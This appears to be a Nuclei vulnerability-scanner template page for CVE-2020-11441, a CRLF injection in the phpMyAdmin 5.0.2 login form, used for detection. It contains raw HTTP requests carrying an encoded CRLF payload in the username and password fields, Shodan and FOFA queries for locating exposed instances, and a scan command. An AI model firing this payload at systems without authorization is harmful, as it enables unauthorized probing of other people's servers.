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phpMyAdmin 5.0.2 - CRLF Injection

ID: CVE-2020-11441

Severity: medium

Author: ritikchaddha

Tags: cve,crlf,phpmyadmin,cve2020

phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states “I don’t see anything specifically exploitable.

id: CVE-2020-11441
info:
name: phpMyAdmin 5.0.2 - CRLF Injection
author: ritikchaddha
severity: medium
description: |
phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.
reference:
- https://github.com/phpmyadmin/phpmyadmin/issues/16056
- https://nvd.nist.gov/vuln/detail/CVE-2020-11441
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.1
cve-id: CVE-2020-11441
cwe-id: CWE-93
cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:5.0.2:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: phpmyadmin
product: phpmyadmin
shodan-query: title:"phpmyadmin"
fofa-query: title="phpmyadmin"
tags: cve,crlf,phpmyadmin,cve2020
http:
- raw:
- |
GET /index.php?route=/ HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?route=/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "^test:crlfinjection=1$"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: session
group: 1
regex:
- 'name="set_session" value="([a-z0-9]+)"'
internal: true
- type: regex
part: body
name: token
group: 1
regex:
- 'name="token" value="([a-z0-9]+)"'
internal: true
# digest: 4a0a004730450221008a22378adc06fb83b702bec4b9e97a91201d014042bc61f6367e79c30fc4e7ae0220674ec40ffb91681a23c68fb3054859303e483e9e63a77ceb7dc73f52fc56624a:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11441.yaml"

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